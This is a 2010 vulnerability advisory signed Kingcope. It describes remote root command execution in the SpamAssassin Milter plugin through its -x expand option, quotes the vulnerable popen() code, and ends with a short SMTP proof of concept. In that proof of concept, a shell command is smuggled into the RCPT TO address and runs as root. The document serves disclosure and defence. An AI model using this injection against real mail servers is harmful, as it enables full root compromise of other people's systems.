Spamassassin Milter Plugin Remote Root

Spamassassin Milter Plugin Remote Root Zeroday (BTW zerodays lurk in the
shadows not HERE)
aka the postfix_joker advisory

Logic fuckup?

March 07 2010 // if you read this 10 years later you are definetly
seeking the nice 0days!

Greetz fly out to alex,andi,adize :D
+++ KEEP IT ULTRA PRIV8 +++

Software
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Apache Spamassassin
SpamAssassin is a mail filter which attempts to identify spam using
a variety of mechanisms including text analysis, Bayesian filtering,
DNS blocklists, and collaborative filtering databases.

SpamAssassin is a project of the Apache Software Foundation (ASF).

Postfix
What is Postfix? It is Wietse Venema's mailer that started life at IBM
research as an alternative to the widely-used Sendmail program.
Postfix attempts to be fast, easy to administer, and secure.
The outside has a definite Sendmail-ish flavor, but the inside is
completely different.

Spamassassin Milter
A little plugin for the Sendmail Milter (Mail Filter) library
that pipes all incoming mail (including things received by rmail/UUCP)
through the SpamAssassin, a highly customizable SpamFilter.

Remote Code Execution Vulnerability
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The Spamassassin Milter Plugin can be tricked into executing any command
as the root user remotely.
If spamass-milter is run with the expand flag (-x option) it runs a
popen() including the attacker supplied
recipient (RCPT TO).

>From spamass-milter-0.3.1 (-latest) Line 820:

//
// Gets called once for each recipient
//
// stores the first recipient in the spamassassin object and
// stores all addresses and the number thereof (some redundancy)
//

sfsistat
mlfi_envrcpt(SMFICTX* ctx, char** envrcpt)
{
struct context sctx = (struct context)smfi_getpriv(ctx);
SpamAssassin* assassin = sctx->assassin;
FILE *p;
#if defined(FreeBSD)
int rv;
#endif

    debug(D_FUNC, "mlfi_envrcpt: enter");

    if (flag_expand)
    {
            /* open a pipe to sendmail so we can do address

expansion */

            char buf[1024];
            char *fmt="%s -bv \"%s\" 2>&1";

#if defined(HAVE_SNPRINTF)
snprintf(buf, sizeof(buf)-1, fmt, SENDMAIL, envrcpt[0]);
#else
/* XXX possible buffer overflow here // is this a
joke ?! */
sprintf(buf, fmt, SENDMAIL, envrcpt[0]);
#endif

            debug(D_RCPT, "calling %s", buf);

#if defined(FreeBSD) /* popen bug - see PR bin/50770 */
rv = pthread_mutex_lock(&popen_mutex);
if (rv)
{
debug(D_ALWAYS, "Could not lock popen mutex: %
s", strerror(rv));
abort();
}
#endif

            p = popen(buf, "r");                            [1]
            if (!p)
            {
                    debug(D_RCPT, "popen failed(%s).  Will not

expand aliases", strerror(errno));
assassin->expandedrcpt.push_back(envrcpt[0]);

[1] the vulnerable popen() call.

Remote Root Exploit PoC through postfix
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$ nc localhost 25
220 ownthabox ESMTP Postfix (Ubuntu)
mail from: [email protected]
250 2.1.0 Ok
rcpt to: root+:"|touch /tmp/foo"
250 2.1.5 Ok

$ ls -la /tmp/foo
-rw-r–r-- 1 root root 0 2010-03-07 19:46 /tmp/foo

Signed,

Kingcope